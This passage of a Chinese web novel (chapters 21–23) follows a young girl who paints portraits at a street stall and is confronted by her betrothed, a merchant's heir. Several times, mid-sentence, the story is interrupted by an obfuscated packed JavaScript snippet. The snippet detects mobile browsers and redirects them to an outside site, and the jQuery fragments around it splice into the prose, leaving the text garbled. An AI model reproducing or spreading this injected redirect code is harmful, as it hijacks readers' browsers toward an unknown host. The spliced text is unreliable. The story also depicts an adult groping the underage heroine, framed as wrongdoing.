紧接着，白栖枝又开始起草五官，先大致画出个形状，然后一点点地描摹，甚至无一处修整，只这么一笔笔的绘着，不多时一张鲜活的人面就跃然纸上。 众人看着画上的人脸，又回头看了看那位大哥—— 太像！ 最后，白栖枝又在细节处下了些功夫，她这毛笔卖的太不好，以至于刚用了几下尖端就开始分叉，白栖枝便用分出的叉端一点点地勾描着着眼睫、毛发等琐碎的小细节。 等到一幅画画完，周围众人的嘴已经张得能吞下两个鸡蛋了。 “待诏翰林之资啊！待诏翰林之姿啊！” “小姑娘，你这手用来给我们这些粗人画小相真是可惜了啊！” “若你不是女儿身，怎么也能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774910|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去考个翰林当当啊！可惜、可惜了！” 面对众人有些夸张的称赞，白栖枝也只是不出声，用手背挡住唇角痴痴地笑。 那位喝茶水的大哥这时终于起身走上前来检查画作。 “是挺像的。” 大哥阴沉的脸上浮现出几分满意。 他小心翼翼地拿起自己的小相，如获珍宝似地吹干，又小心翼翼地将其叠好放在怀里，松了口气似得喃喃自语道：“这下月娘就能常常看着我了，你——” 正在小心翼翼码铜钱的白栖枝吓得浑身一颤，指间铜钱滑落到地上也不敢捡，大气不喘一声地端坐在位置上等待吩咐。 只见那位大哥凶恶的脸上勉强挤出一丝和善的笑容：“画的不错。” 白栖枝：吓死我了，吓死我了，还以为要赔钱呢！ 在心里拍了拍心口，白栖枝也露出个开心的笑容，甜甜道：“阿伯喜欢就好。” 话音刚落，无数的铜子儿就像雨点似得趴在她桌上，众人前呼后拥道： “给我也画一个，我给我姑娘带回去，就要到年关了，这小妮子指不定怎么想我呢！” “年关？哎呦我给忘了，也不知道家里那婆娘买没买桃符，小姑娘，给我写一幅吧。” “我也来我也来！” 白栖枝感觉自己脸都要笑开花了，只可惜她一次出来只能待上两个时辰，不然这些活儿她肯定统统接下！ 随着来看热闹的人越来越多，茶肆的生意也愈发好起来，来喝茶的人肉眼可见地多了起来，原本在看热闹的茶摊老板也不得不忙了起来。 白栖枝在林府中记过自己一幅画大概要画多长时间的，她记着点，数着单，尽心竭力地画着，一个时辰匆匆就过去了。 “给您！喜欢您来，伯伯再见！” 递出最后一单，白栖枝才发觉自己手都冻僵了，她吸了吸通红的鼻尖朝众人道：“对不住各位伯伯姨姨，眼下这个时间我得回去了，不然家中两位阿兄该担心了。” 说完，她将桌上四散的铜钱搂到衣服里，又从起身踮起脚尖朝茶肆老板努力挥手道：“姨姨我走啦，回见喔！” 老板还在揩桌子，见这位“小财神”朝自己挥手道别，也赶紧用手在身上摸了两下，朝她挥手道别：“回家啊妹子，明天一定来哈，阿姊把桌子留着给你！” 不久，白栖枝离开，看热闹的看客们喝下最后一碗茶，也回去匆匆赶路去了。 人声渐稀。 李小娘子刚收摊往回赶，就见着自家姐妹坐在茶摊里高高兴兴地数着钱。 她问道：“今儿赚了这么多？” 茶摊老板笑道：“是啊，今天来了个小财神，给我带来不少客人呢……哎对了，你那面摊咋样？ “还那样呗。”李小娘子捶了捶酸痛的颈肩，“你那小财神长什么样啊？说出来也让我见识见识，等以后我也把她拉到我铺子里坐坐，没准儿我也能多赚点，给自己攒攒嫁妆。” “长什么样嘛……”白栖枝的脸就在眼前，茶摊老板却怎么也形容不上来，“好像长得蛮娇小玲珑的，眼睛大，鼻子小，嘴巴也小，非要说的话……她眉心有个红痣来着，但被刘海儿当上了，不怎么明显，挺玲珑剔透的一个孩子。” “呀！”李小娘子道，“这孩子我好像见过，之前还在我面摊里吃过面呢！我跟你说，这小姑娘可是个人物！我之前没认出来，还是后面有个客人告诉我的！” “什么人物？” “她可是咱们淮安第一茶商茶商林老板林听澜的娃娃妻！” 茶摊老板：可不敢笑，这真是个人物！这么大个小财神坐在这里她方才怎么就有眼无珠了呢！ 错过啊错过！ …… 21. 刁难 许是之前倒霉的次数太多，又或许是真的近年关了，白栖枝这两天的生意格外的好。 她将第一天的钱拿去买了新的笔墨，又恰好将旧的送给了一位来看热闹但买不起笔墨的小孩子，然后将第二天拿去为春花买了她一直心心念念的胭脂盒子，并将那十枚铜板大大方方地还给了她，等到第三天，她便将所有花出去的本钱尽数赚了回来，还额外多赚了一点点，给自己买了个细细的朱砂手镯。 “哇，你这几天赚了不少吧？”春花看着白栖枝手上鲜红的朱砂手镯恨不得流口水，“沈公子这个假被你放得真值！才几天啊，你画画相，写写桃符就赚了这么多，这要是让你开了画坊，岂不是能赚上更多！” 听她这样说，白栖枝也不好回答，只又抬起手背挡在嘴前痴痴地笑。 她手这样一抬，宽大的袖口下滑，露出落在小臂中间的朱砂手镯，宛若雪映红梅，将这便宜的朱砂显得越发贵气无比。 “对了。”春花又道，“你昨天送我的那盒胭脂颜色真好，比我看上的那个还好，昨天我偷偷擦了一点，你那些姐姐们都夸好呢！也不便宜吧？” “便宜的，才十几文钱，也不是很贵。”白栖枝答道。 实际上，那盒胭脂要一贯钱呢，她怕春花姐收着心里不好受，这才少说了些。 “几十文钱，你自己做都不能是这个价吧？”春花笑着，撞了下白栖枝的肩膀，“吧罢了，你不好说，我也不问了，今天也还要出去？” 白栖枝点了点头。 春花又道：“我看这几日沈公子好的也快了，你趁着这几日能赚便多赚些吧，等你日后想跑也好有本钱。”边说着，她边看着白栖枝笑，一副打趣的模样。 白栖枝也知道她在说自己上次出逃的事儿，脸上一点点飘起了红云，低着头遮着嘴笑，不敢搭上一声。 她手里的钱越是多，租的地方也就越是好，但这北名大街毕竟寸土寸金，她这点钱想要进街里还是太难，只得找个搭边儿的小地方坐着。 一般这种活儿都是旧客拉新客，可她行踪不定，有些老客都得拉着新客到处碰运气才行，一边儿碰一边儿还得问：“您知道昨儿来这儿摆画摊的小姑娘今儿个去哪了么？” 也算是把她的名头传开了。 只是人怕出名猪怕壮，没两日，这话就传到林听澜耳朵边儿上了。 只因他外边的一些朋友无意间从家中奴仆的嘴里听了一耳朵这事儿，便想兴冲冲地拉着林听澜去看——毕竟跟他从小玩到大的人谁不知道他在长平那边还有个翰林之女做娃娃妻？ “哎！只是去看看，也不耽误你什么，难道你不想看看那小娘子能把人画成什么模样？更何况听说那小娘子端得一副小菩萨的样貌，神妃仙子似的，去看一眼也不算亏。” 说着，那些人便半拥着她去找那位“小菩萨”。 林听澜听到这事儿的第一时间并没有想到那摆摊的小娘子是白栖枝，且不说她没有本钱，到底是翰林之女，这点脸面还能不要？ 但真看到白栖枝的时候，他还是有点恼火。 忘尘给她放假本是想让她来熟悉淮安的，哪成想这小丫头鬼精鬼灵、主意颇多，竟自己摆起摊子来了，不仅丢她白家的人，更是将他林家的脸面丢的一干二净！ 眼下当务之急是不能让别人知道她的身份。 可见着来往客人如此之多，林听澜又觉得她定是用了林家的名号揽客，不然仅凭她一个小姑娘，又不要喝，又不上街揽客，只在这小巷子里一坐，怎么就会有这么多人前来？ 她有什么手段值得这么多人前来？ 心中揣着恼火，林听澜也不顾自己的那些狐朋狗友在场，当即冲进人堆里，拿出一吊钱拍在桌上，阴沉道：“给我也画一幅。” 白栖枝原本看见那一吊钱眼睛都要看发光了，可视线顺着那人胳膊往上一瞧，眼里的光瞬间消失不见。 白栖枝：完蛋了，要死翘翘了…… “哎呦，这不是林小老板么？”人群中有人认出了他，笑着拱手上前迎道，“什么风把您给吹来了？” 林听澜眼风一扫，那人立马讪讪退下。 这淮安谁不知道林听澜是个出了名的纨绔？因着林家家大业大，他跟着其余那些纨绔子弟逛花楼、尝酒肆，前几年遇上了沈博士家的那位才暂且收了浪荡。就当大家都以为他遇到了良友就要走上征途，谁知这人突然杀了个回马枪，明明儿时便有幼妻，却还将那位豢养在家中当男宠，招摇撞市地宠着，不知道的还以为那位才是他的妻。现如今他又出来找一位小丫头不痛快，谁知道是又出了什么事儿呢？许是两人吵架要随意找个人来出口气吧。 别人心里是怎么想的白栖枝不知道，她只知道明年的今天大抵就是她的忌日了。 眼下旁人都瞅着，她也不敢拒绝，也不敢道歉，只能将那一贯钱小心翼翼地码好，吸了吸冻得通红的小鼻子，执笔蘸墨，佯装镇定道：“客官想画什么？” 林听澜也佯装镇定：“就画一幅小相。” 白栖枝舔墨道：“还请客官稍等片刻，外头天冷，客官可以去旁边的饭馆一坐，待客官吃完面画也就好了。” 林听澜倒也没当着众人的面故意刁难她一个小姑娘，只是冷哼一声，起身拂袖朝旁边的小饭馆走去。 一旁的人见他这模样就知他生气了，问道：“林兄，怎么了？这小姑娘难不成和你有什么恩怨？你若看她不爽就跟兄弟几个说一声，兄弟们这就叫她在淮安混不下去。” 林听澜并未回答，只是高声朝店家道：“店家，一碟酱牛肉，再来一坛你们店里最好酒。” 几人面面相觑，不知道林听澜究竟是怎么了，连这等苍蝇小馆竟也吃得下去了。 反倒是一旁的店家见这么个金财神进门，登时乐得见牙不见脸，高声应着，生怕怠慢了一点。 四人就这么随意捡着酱牛肉吃，又喝了点小酒，打趣闲聊着，口里不是谁家的小娘子俊俏就是哪家花楼的姑娘伺候人伺候的舒服，说到激动处，恨不得连下三滥的词儿都要蹦出来了。 林听澜就这么山一样地坐在中间，心烦意乱得什么也什么也听不下，只一口口抿着酒，面色铁青。 就当几人谈的正高兴的时候，林听澜感觉自己的肩膀被人拍了拍，转头，就见着白栖枝拿着画站在一旁。 这画中人的眉眼与他分毫不差，甚至比他本人还要俊朗得多。 离林听澜最近的那人看画笑道：“林兄，这小娘子把你画的不错嘛！既然这么会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14782136|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 画，不若给本公子也画一幅？本公子可有的是钱，定不会让你香消玉减。”说着，趁白栖枝不注意捏了一把她的屁股。 白栖枝立马跳开老远。 她看了一眼那人，又看向林听澜，眼中似有怒意又满是失望。 ——是那种看着原本好好的一个人突然烂在自己眼前的失望。 被她这么一看，林听澜反倒心虚起来，赶紧拍掉那人还要伸出的手道：“她还是个雏儿呢，你也下得去手？” “林兄你不知道，这雏儿的手感才好着呢，你……”见林听澜面色一沉那人讪讪道，“哎呀，不摸就不摸，林兄你生什么气呢？莫不是……你看上这小娘子了？” 林听澜一个眼神都没留给他。 他转过身，像往常在外面一样岔开腿坐着，朝白栖枝道：“把画拿过来我看看。” 只见白栖枝抬起手背将冻出来的鼻涕狠狠抹掉，然后—— “撕拉！”“撕拉！”“撕拉！” 一幅好端端的画被撕掉，白栖枝也不怵，转身拿起他拍在桌面上的那一吊钱，递给他道：“这生意，我没法做。” 在场众人无不为白栖枝提了口气。 要知道这可是茶商林家的大爷啊！是淮安里数一数二的财神爷，若是惹了他，别说不能在淮安待下去，怕是连活都活不下去。 这小妮子什么来历啊！敢和这么一尊金财神叫板？ 真是不要命了！！！ 四人中有人率先拍桌而起，冲上前道：“嘿你个小贱人别给脸不要脸，信不信本公子……” 他还没走过去呢，就被林听澜拦下，有些疑惑：“林兄，这小贱人不识好歹，今儿若不给她个教训，来日不定要猖狂成什么样子呢！” 白栖枝原本都伸出双臂去挡了，听他这话，才睁开眼放下手臂看向林听澜。 四目相对之间林听澜满是心虚。 他将手臂一放：“算了，一个黄毛小丫头而已，有什么好跟她置气的？我们走。” 待四人离开，围观的其余看客也面面相觑后作鸟兽散了。 生意是再做不下去了。 白栖枝也知道这点，她收了东西，笨拙地将桌椅搬回到面馆，淡淡道：“阿伯，当初说好的收的钱你三我七，钱我放在桌子上了。” “可不敢哟小祖宗！你惹了淮安的财神爷，我可不敢收你的钱！”饭馆老板说着，甚至还掏出钱来，惶恐道，“小姑娘，这是你为我揽客赚的钱，都给你，我一分也不要，劳烦您跟林老板说一声，我们这可是小饭馆，跟您没半点关系啊！” 白栖枝看着老板捧着钱颤抖的手，什么都没说，转头离开，独留饭馆老板捧着手里的钱扔也不是不扔也不是，只能拍着大腿长吁短叹。 小巷的尽头，林听澜正站在那里等着她。 这条巷子是回林府的必经之路，此刻他站在这人，身周没有其他人，摆明了是想找他谈一谈。 白栖枝叹了口气，装作不认识似得快步从他身边擦肩而过。 可她力气太小，刚擦肩就被林听澜一臂拢回来，她左闪右闪，三番四次地躲不掉，反倒把自己气红了眼眶，攥紧衣袖抬头怒道： “你这样，怎么对得起沈哥哥？！” …… 22. 恩人 林听澜没想到她第一句质问竟是在替沈忘尘在问。 见他一时不答，白栖枝更加气愤难过——若是沈哥哥知道他在外面跟这些个流氓子鬼混在一起学坏，知道自己喜欢的人是这么个坏人，那他该多难过啊！ 白栖枝兜着自己的衣服就要走，却没想到林听澜突然伸手一把拎着她的后颈把她拎起来。 他这一拎不要紧，白栖枝一个没兜住，衣服里的铜子儿就“哗啦啦”地掉了一地，在暖阳的斜射下泛着古旧的铜光。 白栖枝急急用手去捞，谁知林听澜又将她往上拎了拎，白栖枝挣扎无果，气得她登时就淌出泪花，用衣裳擦着，看得林听澜直嫌弃，好歹是把她放下了。 “你是坏人。大坏人！”白栖枝边捡满地的铜钱遍兀自喃喃道。 林听澜觉得有趣，抬脚便用脚尖踩住了她要捡的那枚铜钱，反问道：“我哪里坏了？” 白栖枝努力去拽那枚铜钱说：“你欺负我，还骗了沈哥哥，你就是欺负他不能出门。” 林听澜缓缓施力：“我怎么欺负忘尘了？” “可你跟那些人鬼混在一起！”见实在是拔不出来，白栖枝起身，直视着他的眼睛，高声道，“那些人就是流氓！你跟着他们一定是学坏了！你知不知道、知不知道他还——捏了我的屁股。”最后一句话，她说得格外小声，像是经历了什么不耻的事。 她顿了顿，又道：“他们还说你逛花楼、喝花酒，你要是真心喜欢沈哥哥一人，怎么还愿意接触别的人？更何况还是姑娘家？你这不是欺负沈哥哥腿脚不便不能出来管你还是什么？！” 白栖枝越说越生气，气到上头，竟然还敢伸出手搡了林听澜一把。 林听澜一个没站稳，向后退了半步，白栖枝立马手疾眼快地捡起地上那枚铜钱，轻轻拍了拍、吹吹灰，藏在怀里不敢再让他瞧见一眼。 昔日高高在上的翰林家的千金小姐，如今为了几个铜板竟蹲在雪地里一个个的捡，还护食般地不让他瞧。 林听澜不禁觉得有些好笑，可好笑之余，想起白栖枝当年那锦衣玉食的日子，又没来由地多了几分心酸。 白栖枝还在雪里扣着铜板，手指冻得发红发紫也不顾，还是林听澜最后看不下去，开口道：“别捡了，大冷天的，差多少我补给你就是了，我林家金山银山的，难不成还能亏了你？上车！” “我不要。”白栖枝倔得厉害，珍珠大的泪滴掉在雪里融出了一个窟窿，“这是我自己赚的，是我的钱，我不要你施舍。”说完，就要用手背去抹眼泪。 “多脏！”林听澜一把打掉她的手。 他到底还是心软了，竟也蹲在地上，小孩子似得跟在她身边捡。 看着林听澜被冻得通红的手，白栖枝的心也有些软了，当林听澜给她递钱来的时候，她迟疑了一下，最后还是软软地从林听澜的掌心中将那些钱一一拾起。 她的手指又细又软，只是冻得有些肿了，凉的刺骨，抓在林听澜手里就像小猫挠一样。 林听澜总是拿她没法子，见她起身也跟着起身问道：“这下可以上车了吧？” “不要。”白栖枝将头一撇，“你是坏人，我不上流氓子的车。” 林听澜担心自己再晚回去忘尘该担心了，头痛着解释道：“他们都是官府里的公子，我说到底不过是一介商人，能攀上这层关系自然要攀，更何况我与他们都是酒肉关系，做不得真的。”说完，他自己也愣了一下。 他跟这么个黄毛小丫头解释什么？ 不过不解释的话她估计又要逃，为了省点心，还是解释了比较好。 “真的？”白栖枝捂着自己的小兜兜，仔细打量着她的神色，见他不像扯谎，这才迟疑着问道，“那……我们回家？” ——回家。 这词一出来林听澜都是一愣，他看向白栖枝，白栖枝却误会他以为自己会向沈忘尘告密，义正言辞的保证道：“放心吧，我不会跟沈哥哥说的！”说完还递上了一串用一百钱穿成的钱吊子，认真道，“这是押金，押在你这里，我要是说了，这钱就归你，我不会朝你要的。但是如果我没说你可要还给我。”说完，又怕林听澜耍赖，补道，“你说过的，林家金山银山，不会欺负我一个小孩子的。” 马车是来到北名大街正中央往林府走了。 路上，白栖枝一直掀开车帷趴窗上瞧，一双大眼睛放着光，时不时还发出几声不值钱的感叹声，啧啧道：“淮安真的好繁华哇……” 林听澜骄傲道：“那当然淮安可是联通各州商路的咽喉要道，但凡外出经商者，非要经过淮安才可抵达其余各州，久而久之，此地商贸兴旺，又成为了大昭通往其余诸国的商路伊始要道，自然繁华无比，你……” “喔！是恩公！”未等林听澜说完，白栖枝突然激动起身，掀帘而出，从马车上跳了下去。 因在闹市，马车自是行的无比缓慢，比路上行人快不得多少。 “停！” 见白栖枝跳了下去，林听澜赶紧喊停，太阳穴一直“突突”不停，额角都要痛炸了，内心暗骂道—— 这个蛮丫头，一点也不省心，跟个小小子似得淘，以后再不叫她出来了！ 正骂着，就听见外面传来个年轻人的声音：“喔！枝枝姑娘！好巧好巧，你怎么也在淮安！难道你的那位未成婚的夫郎在淮安不成？” 什么人？ 林听澜本想直接掀帘去看，结果碍于自己林家大爷的身份，还是忍住了，双手紧紧捏着膝盖上的布料，捏的比自己的脸还要皱。 外头又传来白栖枝的声音：“没有啦，我那位夫郎已经有心上人啦，我也不好插手人家的感情不是，我是来淮安投奔我远房表兄的！” 那青年道：“喔喔喔！有亲人就好！话说你那位夫郎也太不是个东西了！明明与你青梅竹马、两小无猜，长大了却弃你而去，实在是、是、是个大坏人！” 说谁不是东西呢？！ 林听澜听得太阳穴更痛了，忍不住伸手去揉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784020|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过好在白栖枝并未将他的身份和盘托出，倒也还算识趣。 “是呀！他特别坏，所以我不要他了！”白栖枝愤愤跺了两下脚，又换了一副笑面道，“对了恩人，你这次进京赶考有没有金榜题名？是不是回来报喜了？” “唉，别说了，我又落榜了，这已经是我第三次考了，还没有考上，好难过……” 白栖枝又道：“喔喔喔！恩人别难过别难过！恩人这么聪明，明年一定可以考上的！恩人你人这么好，老天爷一定会赐福给你，帮你顺顺利利地金榜题名的！这次没考上也没关系，好运都在后头能，没准下次就能中状元呢！！！” “唉，承枝枝姑娘吉言了。” 眼见两人还要无休无止地唠一堆废话，林听澜再忍不住，在马车内轻咳了一声。 然而，无人在意…… “白栖枝。”林听澜将车帷掀起一角冷冷道，“该回去了。” 那人见林听澜露了面，立马高兴拱手道：“喔！原来枝枝姑娘的远房表哥竟是林老板，幸会幸会！” 林听澜定睛一看：原是户部尚书家那个最为平庸的二公子，宋长宴。 户部尚书宋大人家共有两位嫡子，长公子年二十有四，是个龙章凤姿的俊秀青年，昔日与沈忘尘也算是点头之交，如今官任太常少卿，许久没有他们这号人有往来了。至于这二公子，年十八，是个不折不扣的草包，进京赶考考了三年，竟连个举人都不中，性格又平常中庸，日后必是没有大出息的。 林听澜对此人也算是有所耳闻，便只是一礼道：“宋公子。”也算是应过。 宋长宴大大方方地朝他笑了下，又回过头，继续对白栖枝道：“既然枝枝姑娘你还有家事要理，那就先回去，等日后你得了空便来宋府找我，到时候我带你在淮安好好玩玩！对了，我还知道一个小馆子特别好吃！到时候一定要带你去尝尝！” “好！” 见两人像两只小哈巴狗似得摇尾巴高兴道别，林听澜不知道怎么的心中有些吃味，闷闷地问：“你和宋长宴是怎么认识的？” 白栖枝还沉浸在方才欢欣的余韵中，没听出来他这话中别的意味，高兴答道：“恩人是我在来淮安的路上遇到的，当时下着大雨，我俩就在一个破庙里相遇了，他要进京赶考，我要去淮安投奔夫家，一来二去就聊熟了，他还帮我绘了到淮安的舆图！恩人他真是个大好人！” 啧啧啧啧啧，画幅舆图就把你收买了，瞧你这不值钱的样子。 林听澜想着，心里更不是滋味了，又试探性地问道：“那你日后得闲真要跟他出去？” “一定的！”白栖枝双眼放光，“答应了的话一定要做到，不然就……哎哎哎！不要揪我耳朵，好痛！” “叫你没事还要跟旁人出去！”林听澜不好意思说自己吃醋，只摆作兄长的模样，揪着白栖枝红红的小耳朵教训道，“我要跟忘尘说，以后再也不会叫你出府了！” 白栖枝一时间觉得十分委屈。 …… 23. 拜托 “拜托拜托，请不要告诉沈哥哥。” 自打回府，小姑娘就缠了自己一路，小狗似得跟在自己身边转悠，倒是让林听澜找到了几分抓住她小尾巴的得意之感。 看着白栖枝又递过来几枚铜板，林听澜捏其一个，大拇指一弹，那铜钱就在他脸边儿翻了几番。 他挑了挑眉：“怎么？你也知道你沈哥哥不想让你出去摆摊？” 白栖枝心虚地对手指。 林听澜将翻到半空的铜板一抓，又放回她掌心，说：“这世上可没有不透风的墙，纸包不住火，忘尘他早晚会知道，既然你知错了，下次就莫要再干这事儿了。” 说完，某位大爷大摇大摆地离开，独留白栖枝一人呆在原地哭哭脸。 等白栖枝回去的时候，春花还在房间里绣物件。 今儿是她的休沐日，她左右闲着也没事，托人出去扯了点布回来缝些小玩意儿。 见白栖枝回来，她说：“正巧你回来了，我给你绣了个荷包，你看看衬不衬你？” 白栖枝依旧是一副哭哭脸：“好看。” 春花：“干什么哭丧着脸？有人找你不痛快了？” 白栖枝点点头，又摇摇头，在春花的追问之下，便将事情讲了个大概。 “你完了，你被大爷抓包了，这活儿恐怕就做不下去了，你呀你，也不知道避着点儿大爷。”春花说着，也有些失落，不过到底还安慰她道，“没办法摆摊也没事，等你日后跟着沈公子学成了，什么画坊开不了？你以后是要挣大钱的人物，少了个小摊子又算得了什么？” “可是会很无聊哇。”白栖枝叹了口气。 她摆这个小摊子，除了赚钱，还有一个大作用就是解闷儿，毕竟她书也背过了，数术也算完了，府里又没什么能让她做的活计，加上府里那些阿姊们平时都很忙，她一个人实在是闲的没意思。如今，好不容易有个伙计能让她解闷，还被林听澜扼杀在襁褓里。 “唉——”白栖枝狠狠叹了口气，一转眼，见着桌上被绣的精致的荷包，有些惊讶道，“咦，春花姐，这是你绣的？”说着，立即走上前去瞧。 春花也叹了口气：“也是闲来无事，打发时间的小玩意罢了。我们这些做丫鬟的出不了府，平日里就只能做些女工打发时间，怎么？你喜欢。” “好好看！”白栖枝看着上面一双活灵活现的小兔子，摸着上面细密的针脚，眼睛都要冒光了，“春花姐，你除了这个还会绣什么呀？” 见她扭过头惊喜地看着自己，春花倒是有些犹疑了：“就……一些花鸟鱼兽什么的吧，反正但凡是些简单的都还好。” “春花姐你这完全可以拿出去卖的嘛！”白栖枝高高举起手中的绣品，顺着窗逆着光看，好像在看发光的金子，“绣的这么好，一定会有很多人喜欢的，到时候春花姐你也能多赚些银子给自己买些稀罕的物件儿。” “得了吧。”春花见她这样，上前捏了捏她的小脸，笑道，“淮安成千上百的绣娘不知绣的比我好上多少，哪里会买我这粗烂的东西。你这一张嘴啊，抹了蜜似得，惯会哄人开心。” “不试试怎么知道？不过……”话锋一转，白栖枝低头凝眉细细思索着，忽而有了想法，问道，“若是从图上吸引呢？” 见春花不解，白栖枝道：“我去北名大街见过的，如今摊子上的绣品无外乎就那几种图案，若是能从作图上下手，另辟蹊径，没准就能成了呢！反正试一试也不亏钱，大不了本钱我出嘛！” 说着，她这才想起来自己还兜着一衣摆的钱，哗啦啦像倒水似得将赚来的铜子儿往桌上一摆。 此时晌午的阳光从窗户外照了进来，映在钱眼儿里，散发着铜臭味的香气。 白栖枝看了看铜钱，又看了看绣品，再看了看自己桌上“借”来的笔墨纸砚，一拍脑门：“有了！” “有什么了？” 见林听澜就要关窗，沈忘尘止住他，柔柔道：“先别关，好不容易透口气呢。”说完，又继续问道，“你方才说有了，有什么了？” 林听澜道：“我有办法让那小丫头不出府了。” 他怜沈忘尘体弱，怕他大病初愈身子受不住，还是将窗户严丝合缝地关好，转身往床榻走道：“既然她想赚钱，那我按月付她工钱不就好了？也省的她为了那么几个铜板在雪天里冻着，对她来说岂不是美事一桩？” 早在他一来时，就先将白栖枝这几日的事通沈忘尘交代了个遍，沈忘尘倒也没开口说过什么，一直耐心听着，直到林听澜说出这句话时，他才开口。 “我看她倒未必能愿意。” 沈忘尘说完，便又开始咳嗽，瘦弱的肩头不住地颤抖，看得林听澜心头直跳，赶紧起身拿大氅罩在他身上。 沈忘尘轻拢了拢衣襟道：“枝枝这个孩子气性大、自尊强，你断然付给她工钱她定是不能要的，我打算年关过后，将你最开始给我的那间小铺子交给她打理试试。” 林听澜讶异道：“交给她打理，她能会个什么？” 沈忘尘道：“她是个聪明的，我教她开源节流，她这不就已经学着开源了么？有着如此悟性，打理一间小胭脂铺子肯定是没问题的。再说了，总不能一直教她数术却不让她上手去试吧？这也算是我给她布置的课业了。若是她做得好，便说明她确实用心在我这里学了，是个好苗子；若是不好……” 沈忘尘顿了顿，眼中划过一丝晦朔的光，悠悠开口道：“若是不好，那便太令我失望了。” “你确定这样可以？” 看着桌面上的白栖枝照着《山海经》里的那些描述所绘制的志怪奇兽，春花惴惴不安。 白栖枝安慰她道：“我见过了，现如今市面上以神话而绣制的绣品还少，如若我们抢占先机，率先将此推到市面上，应该会有客官觉得新奇而买回去玩玩的。” “这……”春花还是不太放心道，“容我暂且想想吧。” 白栖枝也不急，毕竟这几日沈哥哥的病也快好了，她很快又要整日整日的算数术了，估计也没时间处理这档子事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787717|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一切都看春花姐的意愿就好。 这时，门外突然传来一阵轻轻的敲门声，只听外头道：“白小姐，沈公子有请。” 来到房内，见着林听澜在侧，白栖枝就知道自己那点小九九肯定都被林听澜抖了出去。 由是，在面对沈忘尘柔和的目光时，她竟不自觉地有些心虚气短。 沈忘尘脸上则是笑意更甚，轻轻道：“枝枝，别怕，来。” 白栖枝乖乖凑上前去，看着他的面色，小心翼翼地问道：“沈哥哥好些了么？” “好多了。”又是一阵短促的低咳，沈忘尘转过头来，看着小姑娘越发红润的脸蛋，和越发黑白分明的星眸，淡淡一笑道：“这几日的事，你林哥哥都同我说了。” 白栖枝的心“咯噔”一声。 回想起自己上次当着沈忘尘的面说自己跳湖里捡手绢的那次，白栖枝在心里紧闭双眼，将自己抱成一团抖了三抖。 完蛋了……沈哥哥一定又会觉得我不听话了，为什么某个家伙什么都往外说哇！ 正懊恼着，脸上突然传来凉凉的触感。 沈忘尘瘫软的手没什么血色，像快在雪里埋久了的玉，只贴在白栖枝脸颊上轻轻摩挲着：“别怕，枝枝做得很好，沈哥哥同枝枝说得枝枝都有好好记得。”说完，他又撇过头去轻咳两声，回头，用那双雾水迷蒙的桃花眼看着她笑，“枝枝想要什么奖励？” “咕噜——” 喉头上下一滚，嗓子里发出了吞咽口水的声音。 自己刚才是吞口水了吧？自己刚才绝对吞口水了！ 白栖枝在内心抓着自己的头发大叫并倒地四处打滚道：“啊啊啊啊啊！早不咽晚不咽，偏偏这个时候咽，好丢人啊呜呜呜……” 她面上佯装镇定：“奖励……”她思忖了好久，微微摇头，温热的小手覆上沈忘尘冰冷的手，声音轻得仿佛怕震碎了他，“枝枝没有什么想要的，若真说的话，枝枝想要沈哥哥快些好起来。” “咳咳！”一旁站着的林听澜发出自己还存在的声音。 白栖枝也觉得自己这个动作有些不妥，赶紧后退一步尬笑道：“等沈哥哥病好了之后，枝枝就可以学更多东西啦！沈哥哥放心吧，你交给我的那些我最近都有好好的回想，不会让沈哥哥失望的！” 小姑娘的微笑就像冬日里的暖阳，乏了这么久的沈忘尘也算是从她这总是天真无邪的小脸中透出一口气，温和道：“枝枝想吃点什么？” “哎？”白栖枝一时间没反应过来。 沈忘尘便用哄稚童的口吻轻声道：“上次枝枝照顾沈哥哥，沈哥哥还没有朝枝枝道谢呢，如果枝枝不嫌弃的话，就留下来一同用午膳吧。正好下人们现在还在准备，枝枝有什么想吃的都可以提出来喔！” 